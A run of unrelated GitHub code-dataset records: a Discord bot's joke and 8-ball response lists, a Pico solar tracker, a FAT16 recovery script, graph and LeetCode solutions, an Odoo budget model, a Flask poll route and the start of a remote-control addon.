likely.\",\n \"Outlook good.\",\n \"Yes.\",\n \"Signs point to yes.\",\n \"Yeah, probably.\",\n \"Fuck yeah.\",\n \"Hell yeah.\",\n \"I like to think so.\",\n \"For sure.\",\n \"100%.\",\n \"There's no way that that isn't not what the case isn't.\",\n \"For sure for sure.\",\n \"I'm leaning toward yes.\",\n \"I'm not completely sure but probably.\",\n \"Definitely.\",\n \"I think so.\",\n \"You shouldn't have even consulted me, the answer is obviously yes.\",\n \"Of course.\",\n \"I'm afraid so.\",\n \"It surely must be so.\",\n f\"I'll leave that up to <@{adminId}>\",\n \"I have no clue, sorry.\",\n \"Fuck if I know.\",\n \"Concentrate and ask again.\",\n f\"Answer not definitive, but I'm leaning towards {'yes' if random.random() < 0.5 else 'no'}\",\n f\"Let's flip a coin! Heads is yes, tails is no. Result: ***{'Heads' if random.random() < 0.5 else 'Tails'}***!\",\n \"That could go either way, there are too many variables to say for sure.\",\n f\"I'm not able to definitively answer that question, but if getting an answer will make you feel better, then {'yes' if random.random() < 0.5 else 'no'}.\",\n \"Idk.\",\n r'¯\\\\_ツ_/¯',\n \"If only that were the case.\",\n \"Don't count on it.\",\n \"My reply is no.\",\n \"My sources say no.\",\n \"Outlook not so good.\",\n \"Very doubtful.\",\n \"Fuck no.\",\n \"No.\",\n \"Nah.\",\n \"Nope.\",\n \"Unfortunately no.\",\n \"Never.\",\n \"There's no way that that isn't not what the case is.\",\n \"No shot.\",\n \"Probably not.\",\n \"I'm leaning toward no.\",\n \"I'm not completely sure but probably not.\",\n \"Absolutely not. Are you out of your mind?\"\n ]\n\ndef jokes():\n return [\n \"\"\"Why did the chicken go to the library?\nTo check out a bawk.\"\"\",\n \"\"\"What’s a parasite?\nA place you go in Paris.\"\"\",\n \"\"\"What did the horse say when he fell down?\nHelp, I’ve fallen and I can’t giddyup!\"\"\",\n \"\"\"Why did the basketball player bring a duck to the game?\nHe wanted to shoot a foul shot.\"\"\",\n \"\"\"How do you communicate with a fish?\nYou drop it a line.\"\"\",\n \"\"\"How do billboards talk?\nSign language.\"\"\",\n \"\"\"What do you call a grandmother who tells jokes?\nA gram cracker.\"\"\",\n \"\"\"What did the lunch lady say to Luke Skywalker?\nUse the forks, Luke.\"\"\",\n \"\"\"Why was the cat afraid of the tree?\nBecause of it’s bark!\"\"\",\n \"\"\"What do you call a horse that likes arts & crafts?\nA hobby horse.\"\"\",\n \"\"\"Why do shoemakers go to heaven?\nThey have good soles.\"\"\",\n \"\"\"What did one shoe say to the other?\nDon’t stick your tongue out at me!\"\"\",\n \"\"\"Why don’t lobsters share?\nBecause they are shellfish.\"\"\",\n \"\"\"What is thin, white, and scary?\nHomework.\"\"\",\n \"\"\"Did you hear the joke about the toilet?\nNever mind, it’s too dirty.\"\"\",\n \"\"\"Do you know what’s really odd?\nNumbers not divisible by 2.\"\"\",\n \"\"\"When do you stop at green and go at red?\nWhen you’re eating a watermelon\"\"\",\n \"\"\"What word is always spelled incorrectly?\nIncorrectly.\"\"\",\n \"\"\"What do you call a happy cowboy?\nA jolly rancher.\"\"\",\n \"\"\"Why do we not tell secrets in a corn patch?\nToo many ears.\"\"\",\n \"\"\"Where does a penguin keep his money?\nA snow bank.\"\"\",\n \"\"\"What do you call a baby with a drum?\nA baby boomer.\"\"\",\n \"\"\"When does it rain money?\nWhen there’s a change in the weather.\"\"\",\n \"\"\"What kind of bean can’t grow?\nA jellybean.\"\"\",\n \"\"\"What did the buffalo say to his kid when he went to work?\nBison.\"\"\",\n \"\"\"What should you do if your dog is missing?\nThe lost and hound.\"\"\",\n \"\"\"What planet is like a circus?\nSaturn, it has three rings!\"\"\",\n \"\"\"What’s green and fluffy and comes from mars?\nA martian mellow.\"\"\",\n \"\"\"Why do phones ring?\nBecause they can’t talk!\"\"\",\n \"\"\"How do you turn soup into gold?\nAdd 24 carrots.\"\"\",\n \"\"\"What kind of bear has no teeth?\nA gummy bear.\"\"\",\n \"\"\"What do you call a sad strawberry?\nA blueberry.\"\"\",\n \"\"\"What runs around a soccer field but never moves?\nA fence.\"\"\",\n \"\"\"Why did they bury the battery?\nBecause it was dead.\"\"\",\n \"\"\"What’s a parasite?\nA place you go in Paris.\"\"\",\n \"\"\"What is the raddest aircraft?\nThe hella-copter.\"\"\",\n \"\"\"What do you call a car that never sleeps?\nCargo!\"\"\",\n \"\"\"How does the moon cut his hair?\nEclipse it.\"\"\",\n \"\"\"Where do kittens go on their class trip?\nTo the meowseum.\"\"\",\n \"\"\"Why did the orange lose the race?\nIt ran out of juice.\"\"\",\n \"\"\"Why don’t birds follow directions?\nThey like to wing it.\"\"\",\n \"\"\"What do sneezes wear on their feet?\nTheir ahhhh-shoes.\"\"\",\n \"\"\"Why did the farmer bury all his money?\nTo make his soil rich.\"\"\",\n \"\"\"Why did the banana go to the doctor?\nHe wasn’t peeling well.\"\"\",\n \"\"\"What kind of shoes do frogs wear?\nOpen toed.\"\"\",\n \"\"\"What do you call a lazy kangaroo?\nA pouch potato.\"\"\",\n \"\"\"What falls down but never gets hurt?\nSnow!\"\"\",\n \"\"\"What did zero say to 8?\nNice belt.\"\"\",\n \"\"\"What do wolves say when they are introduced?\nHowl do you do?\"\"\",\n \"\"\"Why do marsupials make such good tea?\nIt’s koala tea.\"\"\",\n \"\"\"What do you call a cat that eats lemons?\nA sour puss.\"\"\",\n \"\"\"What did the bee say to the flower?\nHi bud!\"\"\",\n \"\"\"What building has the most stories?\nThe library.\"\"\",\n \"\"\"What do you call a pile of cats?\nA meowtain.\"\"\",\n \"\"\"What do you call a fake noodle?\nAn impasta.\"\"\",\n \"\"\"What lies at the bottom of the ocean and twitches?\nA nervous wreck.\"\"\",\n \"\"\"What is ten and ten?\nNumbers.\"\"\",\n \"\"\"Who took the frog’s car?\nIt was toad.\"\"\",\n \"\"\"What has no legs but can do a split?\nA banana.\"\"\",\n \"\"\"What is the best way to raise a child?\nIn an elevator.\"\"\",\n \"\"\"Where do hamsters go on vacation?\nHamsterdam.\"\"\",\n \"\"\"Why was the tomato blushing?\nIt saw the salad dressing.\"\"\",\n \"\"\"What is always behind the time?\nThe back of the clock.\"\"\",\n \"\"\"What do you call an avid gardener?\nHerb.\"\"\",\n \"\"\"Why should you never use a dull pencil?\nIt’s pointless.\"\"\",\n \"\"\"What did the fork say to the spoon?\nWho’s that sharp guy next to you?\"\"\",\n \"\"\"What should you do if you don’t have any rubber bands?\nSee if you can find a plastic orchestra.\"\"\",\n \"\"\"Why did the skeleton go to the movie by itself?\nIt had no body.\"\"\",\n \"\"\"What do you get if you cross a stereo and a fridge?\nVery cool music!\"\"\",\n \"\"\"Why didn’t the little girl want to leave nursery school?\nShe wanted to be a nurse when she grew up.\"\"\",\n \"\"\"What do frogs order at a restaurant?\nFrench flies.\"\"\",\n \"\"\"What event do spiders love to attend?\nWebbings.\"\"\",\n \"\"\"Why do ducks have tail feathers?\nTo cover their buttquacks.\"\"\",\n \"\"\"What kind of shoes do private investigators wear?\nSneak-ers.\"\"\",\n \"\"\"What game does the sky love to play?\nTwister.\"\"\",\n \"\"\"What do astronauts eat for dinner?\nLaunch meat.\"\"\",\n \"\"\"What did one campfire say to the other?\nLet’s go out one of these days!\"\"\",\n \"\"\"What does a car run on?\nWheels.\"\"\",\n \"\"\"Can February march?\nNo, but April May.\"\"\",\n \"\"\"What did Tennessee?\nThe same thing Arkansas.\"\"\",\n \"\"\"What did the egg say to the frying pan?\nYou crack me up.\"\"\",\n \"\"\"How do bulls write?\nWith a bullpen.\"\"\",\n \"\"\"How do you get an alien baby to sleep?\nYou rocket.\"\"\",\n \"\"\"What did the hurricane say to the island?\nI’ve got my eye on you!\"\"\",\n \"\"\"What do you all a fancy sea creature?\nSofishticated.\"\"\",\n \"\"\"Why did the bones cross the street?\nThey didn’t, the dogs ate them.\"\"\",\n \"\"\"Why did the student eat his homework?\nThe teacher said it was a piece of cake.\"\"\",\n \"\"\"What prize do you get for putting your phone on vibrate?\nThe no bell prize.\"\"\",\n \"\"\"What is a tree’s favorite drink?\nRoot beer.\"\"\",\n \"\"\"Why don’t ducks tell jokes while they are flying?\nBecause they would quack up.\"\"\",\n \"\"\"What is the biggest room in the world?\nRoom for improvement.\"\"\",\n \"\"\"What room can never be entered?\nA mushroom.\"\"\",\n \"\"\"Why couldn’t the shoes go out and play?\nThey were all tied up.\"\"\",\n \"\"\"Why didn’t the leopard go on vacation?\nHe couldn’t find the right spot.\"\"\",\n \"\"\"What did the skunk say when the wind changed?\nIt’s all coming back to me now.\"\"\",\n \"\"\"What do you get when you cross a pig with a Christmas tree?\nA porcupine.\"\"\",\n \"\"\"Why is a pancake like the sun?\nBecause it rises in the yeast and rests in the vest.\"\"\",\n \"\"\"Why do hamburgers fly south for the winter?\nSo they won’t freeze their buns.\"\"\",\n \"\"\"What kind of tree grows in your hand?\nA palm tree.\"\"\",\n \"\"\"Why do we not tell secrets in a corn patch?\nToo many ears.\"\"\"\n ]\n\ndef crush():\n # https://www.youtube.com/watch?v=G708_N5yQT8\n return [\n \"\"\"we have a 15 year old wobbler that gets 5th place at our locals while smoking cigs outside the venue between every round and he can undoubtedly beat any of the grown ass men on vgbootcamp trying to tell you melee is a game of self expression\"\"\",\n \"\"\"i’m the only decent player that doesn’t get asked by the hotel check-in person if i’m “here for the local video game expo\"\"\",\n \"\"\"call me “late to the party” or “old” or “a puritan” or “morally compromised” but xxx tentacion has a couple good songs\"\"\",\n \"\"\"it’s so admirable how committed and determined i am to not work together with my teammate at all in doubles\"\"\",\n \"\"\"i was actually pretty sheltered growing up. whenever i was drunk and wanted chick fil a my parents wouldn’t let me drive there because they didn’t want me being exposed to homophobia\"\"\",\n \"\"\"the key to twitter fame is insulting enough people in 140 characters that it becomes social commentary and not a subtweet\"\"\",\n \"\"\"why do all ice climbers players look like they collect rare insects\"\"\",\n \"\"\"just had a very fruitful call with @Sora_Sakurai. UCF is here to stay\"\"\",\n \"\"\"once you get to the ~95th percentile of eyebrows... that’s when these very real and deeply personal connections are made. like speaking a language only you can understand\"\"\",\n \"\"\"i look like your dad dude why do you want beef with me. are you really tryna beef with your dad\"\"\",\n \"\"\"none of these guiltless fucks are washing their hands i can’t do this\"\"\",\n \"\"\"my goal is to be a late 20s white guy w/ a beard that has “*position* @currentcompany, previous: @bigsoullesscompany @failedstartup @evenshittierbigcompany” in their twitter bio. bonus points for “tweets are my own” or if i RT/reply to things you find in the twitter moments tab\"\"\",\n \"\"\"I don’t “give up clout” anymore. I’m too old to give up clout. If I’m giving up clout we gotta be building or working on something together.\"\"\",\n \"\"\"i lose part of my soul every time someone speaks in twitch emotes to me\"\"\",\n \"\"\"this applies to every aspect of tournaments... i used to be this underground avant indie noir heartthrob... nowadays i don’t even have the heart to cross out reptilian signatures in place of writing my own\"\"\",\n \"\"\"being less known+rank 49 was sick cause every time i got flown out to regionals/locals they were hosted by very competent TOs with impeccable taste in melee players. now i have to vet everyone or else i end up indirectly supporting random nerds that don’t understand the vision\"\"\",\n \"\"\"redman’s mtv cribs episode has had such a profound impact on my ideas in every area of life\"\"\",\n \"\"\"smash at IUD was great. gg to all my very formidable and multidimensional opponents. will definitely be back for full bloom 5 provided my mason dixon force field doesn’t get any stronger\"\"\",\n \"\"\"i’m out here being nice to people saying hi and shit\"\"\",\n \"\"\"playing chu dat feels like yugioh playing wizzrobe feels like baseball\"\"\",\n \"\"\"here’s something special about doing team combos with one of your close pals... really hope doubles gets more of a spotlight in the future\"\"\",\n \"\"\"i like to listen to house of balloons on plane rides to flyover states for juxtaposition\"\"\",\n \"\"\"i wish the average melee spectators were 14 year old girls instead of 14 year old boys so i could actually have some fans\"\"\",\n \"\"\"way too good at rick ross ad libs to be doing them for free\"\"\",\n \"\"\"i like how melee top 8s these days alternate between sets where melee looks glorious and sets where melee looks godawful\"\"\",\n \"\"\"my entire high level melee experience is me minding my own business dashdancing in the middle of battlefield while some sweaty dude 8 years older than me spams low execution high reward options\"\"\",\n \"\"\"teams is garbage and exacerbates all of melee's flaws btw\nit devolves to marths/peaches/shieks corner/float/ledgestalling while foxes and honor code shieks play watered down 1v1s. pppl usually settle as self identifying \"teams specialists\" after getting bodied in singles for years\"\"\",\n \"\"\"i'd like to apologize for dodging so many messages and inquiries... but the only interviews i give are to god\"\"\",\n \"\"\"every smash game other than melee is just brawl. don't let the marketing fool you\"\"\",\n \"\"\"didn't opt in for trash summit because i'm above that shit\"\"\",\n \"\"\"i got it for $14 on bigcartel back when that was a thing tbh but i will resell it for 100 for summit funds once i get unbanned from grailed\"\"\",\n \"\"\"you look better with the crt off\"\"\",\n \"\"\"all your favorite players would lose to your local high school wobbler bro\"\"\",\n \"\"\"i can't talk to girls unless UCF is on\"\"\",\n \"\"\"i wish i wasn't a top player so i could spell competitive completely wrong in my bio and none of my 59 followers would call me out\"\"\",\n \"\"\"tfw you have the most woke neutral game of all time but still lose to robots wearing bootcut jeans that have been spamming fadeback aerials and shieldgrab for the past decade\"\"\",\n \"\"\"I deleted my Twitter. Finding my opinions became too easy.\"\"\",\n \"\"\"someone get me a fake id that says i'm > 25. i won't try to run for president i promise\"\"\",\n \"\"\"i swear i have the necessary clout to rent a car. the feds would never know\"\"\",\n \"\"\"if u put a non negligible amount of money on my compendium goal i promise to pretend to be interested when u tell me how u went 3-2 in pools\"\"\",\n \"\"\"all my acts of kindness to others can be attributed to me seeing myself in everyone\"\"\",\n \"\"\"it's honestly pretty crazy how much people's personalities (or lack thereof usually) are reflected in the way they play melee\"\"\",\n \"\"\"i wish people would put in as much effort into their compliments as i do in giving people reasons to compliment me\"\"\",\n \"\"\"who crosses out other people's signatures before signing their own? basically me and kanye west\"\"\",\n \"\"\"most cost-effective way to fill an entire wall with mirrors? asking for a friend\"\"\",\n \"\"\"don't really talk much cause i have trouble speaking in anything other than poetry\"\"\",\n \"\"\"i'm like king midas except everything i touch turns to xanax\"\"\",\n \"\"\"people still pretending that having low testosterone isn't an advantage in melee when the average height of the MIOM top 40 is 5'7\"\"\" + '\"',\n \"\"\"lost a stock 4 times and made eye contact 3 times. made it out of my pool winners side\"\"\",\n \"\"\"to win in melee u must be very critical of who u are while somehow still having a completely delusional and exaggerated sense of self worth\"\"\",\n \"\"\"being a public figure is all about the balance of maintaining your mystique and bragging about drug use\"\"\",\n \"\"\"dropped from genesis red\nnot plaing in tourneys ran by ppl who rig brackets/compromise the integrity of competition to get stream viewers\"\"\",\n \"\"\"beat nicholas m titty to make it out of pools. if the TOs have any sort of morals they'll reseed but if not peace out norcal\"\"\",\n \"\"\"@ seeders: there are so many imperfect things in this world for you to fuck up with your terrible standards. why's it gotta be melee?\"\"\",\n \"\"\"when I drink fiji water it's supposed to be self parody but nobody gets it so I just end up looking like more of an asshole\"\"\",\n \"\"\"vanilla ice cream is the sluttiest flavor and nothing else comes close. it's the most honest too\"\"\"\n ]","repo_name":"jddolan/T.Y.L.E.R-Bot","sub_path":"responses.py","file_name":"responses.py","file_ext":"py","file_size_in_byte":28442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1995096453","text":"from umqtt.simple import MQTTClient\nimport network\nfrom machine import Pin, PWM, ADC\nimport utime\nfrom time import sleep\nimport time\nimport _thread\n\n#upload it via thonny ide To Pico\n\n# Constants\nADAFRUIT_IO_USERNAME = \"\" # replace with your Adafruit IO username\nADAFRUIT_IO_KEY = \"\" # replace with your Adafruit IO key\nFEED_NAME = \"\" # replace with your feed name\n\nWifiName = \"\" # fill\nWifiPassWord = \"\" #fill\n\n\nled = machine.Pin('LED', machine.Pin.OUT) # buraya da başlangıç için \n\n\n# LDR pin connections\nldrBLPin = ADC(Pin(28)) # bottom left\nldrBRPin = ADC(Pin(26)) # bottom right\nldrTPin = ADC(Pin(27)) # top \n\n\n# Servo pin connections\ndikey_servoPin = PWM(Pin(18))#24\nyatay_servoPin = PWM(Pin(16))#22\n\n# Defining motor pins\n\n#OUT1 and OUT2\nIn1Pin=Pin(6,Pin.OUT) \nIn2Pin=Pin(7,Pin.OUT) \nEN_APin=Pin(8,Pin.OUT)\n\n\n\n#OUT3 and OUT4\nIn3Pin=Pin(4,Pin.OUT) \nIn4Pin=Pin(3,Pin.OUT) \nEN_BPin=Pin(2,Pin.OUT)\n\nled.toggle()\n\nclass Servo: # aslında bunu multi Class yapmak lazım INterface gibi \n def __init__(self,PWMpin,servoTypeValue,freq=50): # need to divide _servoD ,_servoY according to the \n self.servo = PWMpin\n self.servo.freq(freq)\n self.servoD_default = -5\n self.servoTypeValue = int(servoTypeValue)\n\n def set_angle(self,angle,multiplication=85):\n angle *=multiplication\n #print(\"angle\"+str(angle))\n self.servo.duty_u16(angle)\n sleep(0.01)\n\n def set_servo_angle_D(self, angle,multiplication=85): # dikey olanda angle 1700 lerde filan ortada 3480 ler filan da sınır \n angle *=multiplication\n #print(\"D angle\"+str(angle))\n if angle > 3500:\n angle =3480\n self.servo.duty_u16(angle)\n sleep(0.01)\n\nclass LDR:\n def __init__(self,pinAdc):\n self.ldr = pinAdc\n \n def read(self):\n return self.ldr.read_u16()\n\nclass SolarTracker:#Düzenlemeler yapıcaz \n def __init__(self,yatay_servo, dikey_servo,ldrBL,ldrBR,ldrT,delay_time,tol=50):\n self.yatay_servo = yatay_servo\n self.dikey_servo = dikey_servo\n\n self.ldrBL = ldrBL\n self.ldrBR = ldrBR\n self.ldrT = ldrT\n\n self.tol = tol\n self.delay_time = delay_time\n \n def track(self,tplimit=700,multiplication =20): # will make with Thread here\n while True:\n br = self.ldrBR.read() # bottom right\n bl = self.ldrBL.read() # bottom left\n tp = self.ldrT.read() # TOp\n\n print(\"br -> \"+str(br))\n print(\"bl -> \"+str(bl))\n print(\"tp -> \"+str(tp))\n\n dhoriz = bl - br # difference between left and right\n #print(\"dhoriz\"+str(dhoriz))\n\n if dhoriz <= 0:\n if bl == br:\n pass\n else:\n self.yatay_servo.servoTypeValue += 1 #\n\n self.yatay_servo.set_angle(self.yatay_servo.servoTypeValue,multiplication)\n else:\n if br == bl:\n pass\n else:\n self.yatay_servo.servoTypeValue -= 1\n\n self.yatay_servo.set_angle(self.yatay_servo.servoTypeValue,multiplication)\n\n if tp int:\n x, y = abs(a), abs(b)\n if y > x:\n return self.getSum(b, a)\n sign = 1 if a >= 0 else -1\n if a * b >= 0:\n while y:\n temp, carry = (x ^ y), (x & y) << 1\n x, y = temp, carry\n else:\n while y:\n temp, borrow = (x ^ y), ((~x) & y) << 1\n x, y = temp, borrow\n return sign * x\n","repo_name":"focalpoint94/LeetCode","sub_path":"371. Sum of Two Integers.py","file_name":"371. Sum of Two Integers.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"71265433121","text":"#FAT16Recovery.py\n#Alex Richardson\n#Last Edited: October 12th\n#This python program extracts contiguous and non-contiguous files from a FAT16 file system missing BPB\n#The program takes a path to a disk image, 'path', and yeilds recovered files.\n\nimport math\nimport struct\nimport os\n\n#BIOS paramter block\nBPB_BytsPerSec = 512\nBPB_SecPerClus = 4\nBPB_RsvdSecCnt = 1\nBPB_NumFATs = 2\nBPB_RootEntCnt = 512\nBPB_TotSec16 = 0\nBPB_FATSz16 = 115\nBPB_SecPerTrk = 32\nBPB_NumHeads = 16\nBPB_HiddSec = 1\nBPB_TotSec32 = 117250\nRootDirSectors = 33\nFirstDataSector = 64\nFirstDataSectorOffset = 135168\nDataSec = 116986\nCountofClusters = 29246\n\n#calculate bytes in FAT\nbytesInFAT = BPB_FATSz16 * BPB_BytsPerSec\n\n#Function to read FAT into program as an ARRAY\ndef readFAT(path):\n #initialize array to fold FAT\n FAT = []\n with open(path, 'rb') as file:\n #FAT is at begining of file\n fat_offset = 0\n #2 bytes per entry\n entrysize = 2\n file.seek(fat_offset)\n #Iterate over the bytes in the FAT, by 2, since each entry is 2 bytes\n for i in range (0, bytesInFAT, entrysize):\n entry = file.read(entrysize)\n if not entry:\n break\n #This gives entry in DECIMAL\n newentry = int.from_bytes(entry, byteorder='little')\n #add the new entry to the array\n FAT.append(newentry)\n return FAT\n\n#PATH to exam.image on this mac\npath = '/Users/laurenrichardson/Desktop/Digital Forensics/MIDTERM/exam.image'\n#Call function to parse FAT into the array FATentries\nFATentries = readFAT(path)\n\n#TEST \n#print(FATentries)\n#print(FATentries[15])\n#Make sure print(len(FATentries)) == 29440\nprint(len(FATentries))\n\n#Identify beginnig and ending entries of contigious chains\n#Initialize arrays to hold values\nchainBegining = []\nchainEnd = []\nchainMiddle = []\ndef chain(FAT):\n #iterate through each FAT entry\n for i in range (1,len(FAT)-1):\n if ((FAT[i] != i+1) and (FAT[i+1] != FAT[i]+1)): #END of Chain\n chainEnd.append(i)\n if ((FAT[i-1] != i) and (FAT[i] == i+1)): #BEGINING of Chain\n chainBegining.append(i)\n elif FAT[i] == i+1 and FAT[i-1]==i: #MIDDLE of Chain\n chainMiddle.append(FAT[i])\n#Call the function to populate the arrays \nchain(FATentries)\n#TEST\n#print(chainBegining)\n#print(chainEnd)\n\n#Store file start locations in the FAT in an array\nfileStartLocationsFAT = []\nfor begining in chainBegining:\n fileStart = True\n for ending in chainEnd:\n #if ending is BAD(0xFFF7), RESERVED()xFFF6)(0xFFF8-0xFFFE), or EOF(0xFFFF) just skip over it\n #if FATentries[ending] == 65527 or FATentries[ending] == 65526 or FATentries[ending] == 65535:\n if ending >= 65526:\n break \n elif FATentries[ending] == begining:\n fileStart = False\n break\n if fileStart == True:\n fileStartLocationsFAT.append(begining)\n\n#Store file start locations in the FILE in an array\nfileStartLocations = [0] *21\ni = 0\nfor entry in fileStartLocationsFAT: #iterate through start locations in the FAT\n if i == 21:\n break\n else:\n clusterNum = fileStartLocationsFAT[i] -2 #Cluster Number = Starting FAT Entry - 2\n fileStartLocations[i] = clusterNum * BPB_BytsPerSec * BPB_SecPerClus + FirstDataSectorOffset - 1024 #adjust offset for missing data\n i = i+1\n#TEST\n#print(fileStartLocationsFAT)\n#print(fileStartLocations)\n\n#Loop through FAT\n# #while FAT[i] != FFFF\ndef extract_file(start_cluster, output_path):\n with open(output_path, 'wb') as filestream:\n current_cluster = start_cluster\n while current_cluster < 0xFFF8: #write cluster data to filestream\n with open(path, 'rb') as file:\n cluster_offset = (current_cluster - 2) * 2048 + FirstDataSectorOffset - 1024 #adjust offset for missing data\n file.seek(cluster_offset)\n cluster_data = file.read(2048)\n filestream.write(cluster_data)\n current_cluster = FATentries[current_cluster] #update FAT location\n\n#Using the extract_file() function:\n#I used the values in the array 'fileStartLocations' and a hex editor to manually determine the file extensions.\n#For example, the file at the 2nd entry in fileStartLocationsFAT (location 23976960 in file)\n#was MV4 - so I called the function extract_file with these parameters:\n#extract_file(fileStartLocationsFAT[2], 'recovered.mp4')\n#The file at location 41882624 in the file was JFIF, thus:\n#extract_file(fileStartLocationsFAT[4], 'recovered.jpg')\n#I reapeated this process for each value in the 'fileStartLocations' array, and called the function with the corresponding index in fileStartLocationsFAT.\n\n#End of program\n","repo_name":"lrichardson21/FAT16","sub_path":"FAT16Recovery.py","file_name":"FAT16Recovery.py","file_ext":"py","file_size_in_byte":4738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27343897123","text":"from time import time\nfrom typing import List\nfrom collections import defaultdict\n\n\nclass Solution:\n def criticalConnections(self, n: int, connections: List[List[int]]) -> List[List[int]]:\n\n # solution from LC\n #\n graph = defaultdict(list)\n for x, y in connections:\n graph[x].append(y)\n graph[y].append(x)\n\n connections = set(map(tuple, (map(sorted, connections))))\n rank = [-2] * n\n\n # dfs function returns the minimum rank it finds\n\n def dfs(node, depth):\n if rank[node] >= 0:\n # visiting (0<=rank \")\r\n visited_nodes.append(node)\r\n stack.append(node)\r\n for neighbour in graph[node]:\r\n dfs(visited_nodes, graph,neighbour, path)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n f = open(\"weighted_graph.txt\", \"r\")\r\n graph_content = f.read()\r\n f.close()\r\n graph_content = graph_content.strip()\r\n graph_split = graph_content.split(\"\\n\")\r\n vertices_no = int(graph_split[0].strip())\r\n mgraph = []\r\n for i in range(vertices_no):\r\n col = []\r\n for j in range(vertices_no):\r\n col.append(inf)\r\n mgraph.append(col)\r\n for i in range(vertices_no):\r\n mgraph[i][i] = 0\r\n for i in range(1, len(graph_split)):\r\n graph_edges = graph_split[i].strip().split(\" \")\r\n if (int(graph_edges[0]) in range(0, vertices_no) and int(graph_edges[1]) in range(0, vertices_no)):\r\n mgraph[int(graph_edges[0])][int(graph_edges[1])] = float(graph_edges[2])\r\n mgraph[int(graph_edges[1])][int(graph_edges[0])] = float(graph_edges[2])\r\n else:\r\n print(\"enter the valid edges or vertices no\")\r\n sys.exit(\"enter the valid edges or vertices_no\")\r\n print(\"our graph \"+ str(mgraph))\r\n selected_vertices = []\r\n selected_edges={}\r\n count = 0;\r\n for i in range(0,vertices_no):\r\n selected_vertices.append(False)\r\n #selected_vertices[i] = False\r\n min_value = inf\r\n edge_value = min_value\r\n edge = \"\"\r\n for i in range(0,vertices_no):\r\n for j in range(i+1,vertices_no):\r\n if(min_value>mgraph[i][j]):\r\n min_value = mgraph[i][j]\r\n edge = str(i) +\" \" + str(j)\r\n initial_vertices = edge.split()\r\n selected_edges[edge] = min_value\r\n no_of_edges = 1\r\n selected_vertices[int(initial_vertices[0])] = True\r\n selected_vertices[int(initial_vertices[1])] = True\r\n #print(selected_vertices)\r\n #print(selected_edges)\r\n #print(\"edge \"+edge+\" edge weight \"+str(min_value))\r\n while(no_of_edgesmgraph[i][j]):\r\n min_value = mgraph[i][j]\r\n edge = str(i) + \" \" + str(j)\r\n vertex2 = j\r\n selected_vertices[vertex2] = True\r\n no_of_edges = no_of_edges + 1\r\n selected_edges[edge] = min_value\r\n print(\"our MST \"+ str(selected_edges))\r\n adj_list = {}\r\n for i in range(0,vertices_no):\r\n adj_list[i] = []\r\n for key in selected_edges:\r\n keysplit = key.split(\" \")\r\n adj_list[int(keysplit[0])].append(int(keysplit[1]))\r\n adj_list[int(keysplit[1])].append(int(keysplit[0]))\r\n print(\"our adjacency list \"+str(adj_list))\r\n visited_nodes = []\r\n stack=[]\r\n print(\"our tour \", end =\" \")\r\n file1 = open(\"output.txt\", \"w\")\r\n file1.close()\r\n dfs(visited_nodes, adj_list, 0, path)\r\n print(\"0\")\r\n file1 = open(\"output.txt\", \"a\")\r\n file1.write(str(0))\r\n file1.close()\r\n f = open(\"output.txt\", \"r\")\r\n tour = f.read()\r\n f.close()\r\n tour_list = tour.strip().split(\" \")\r\n cost = 0\r\n #print(tour_list)\r\n for i in range(0,len(tour_list)-1):\r\n #print(cost)\r\n cost = cost + mgraph[int(tour_list[i])][int(tour_list[i+1])]\r\n cost = round(cost, 5 )\r\n print(\"cost of the tour is \"+str(cost))\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"abhishekprakash256/Advance-Algo-Project","sub_path":"travellingsallesman/travellingsalesmanproblem.py","file_name":"travellingsalesmanproblem.py","file_ext":"py","file_size_in_byte":3916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27291807961","text":"from odoo import fields, models\n\n\nclass ResCompany(models.Model):\n _inherit = \"res.company\"\n\n budget_include_tax = fields.Boolean(\n string=\"Budget Included Tax\",\n help=\"If checked, all budget moves amount will include tax\",\n )\n budget_include_tax_method = fields.Selection(\n selection=[\n (\"all\", \"All documents & taxes\"),\n (\"specific\", \"Specific document & taxes\"),\n ],\n default=\"all\",\n )\n budget_include_tax_account = fields.Many2many(\n comodel_name=\"account.tax\",\n relation=\"company_budget_include_tax_account_rel\",\n column1=\"company_id\",\n column2=\"tax_id\",\n )\n budget_include_tax_purchase = fields.Many2many(\n comodel_name=\"account.tax\",\n relation=\"company_budget_include_tax_purchase_rel\",\n column1=\"company_id\",\n column2=\"tax_id\",\n )\n budget_include_tax_expense = fields.Many2many(\n comodel_name=\"account.tax\",\n relation=\"company_budget_include_tax_expense_rel\",\n column1=\"company_id\",\n column2=\"tax_id\",\n )\n budget_template_id = fields.Many2one(\n comodel_name=\"budget.template\",\n string=\"Budget Template\",\n )\n","repo_name":"intrepidux/oca-account-budgeting","sub_path":"budget_control/models/res_company.py","file_name":"res_company.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"7763193377","text":"from flask import (\n Blueprint, flash, g, redirect, render_template, request, url_for\n)\nfrom werkzeug.exceptions import abort\n\nfrom Pollar.auth.auth import login_required\nfrom Pollar.db.db import get_db\nimport datetime\n\n\n\nbp_mypolls = Blueprint('mypolls', __name__,url_prefix='/mypolls')\n\n@bp_mypolls.route('/')\n@login_required\ndef mypolls(user):\n \n if user != g.user[1]:\n abort(404)\n \n conn=get_db()\n cursor=conn.cursor()\n cursor.execute(\n \"SELECT p.title,p.description,s.link FROM polls p,share_link s WHERE s.poll_id=p.poll_id AND p.author_id=%s ORDER BY p.poll_id DESC\",\n (g.user[0],))\n mypolls=cursor.fetchall()\n return render_template('mypolls/mypolls.html',mypolls=mypolls)\n\n","repo_name":"Manoj-Mirge/Pollar-backend","sub_path":"Pollar/mypolls/mypolls.py","file_name":"mypolls.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70797516962","text":"import asyncio\nimport subprocess\nimport pluggy\nfrom addons.base import BaseAddon\n\nhookimpl = pluggy.HookimplMarker(\"rumba-remote\")\n\n\nclass C64(BaseAddon):\n \"\"\" Provides 2 buttons: 'C64.ENABLE' and 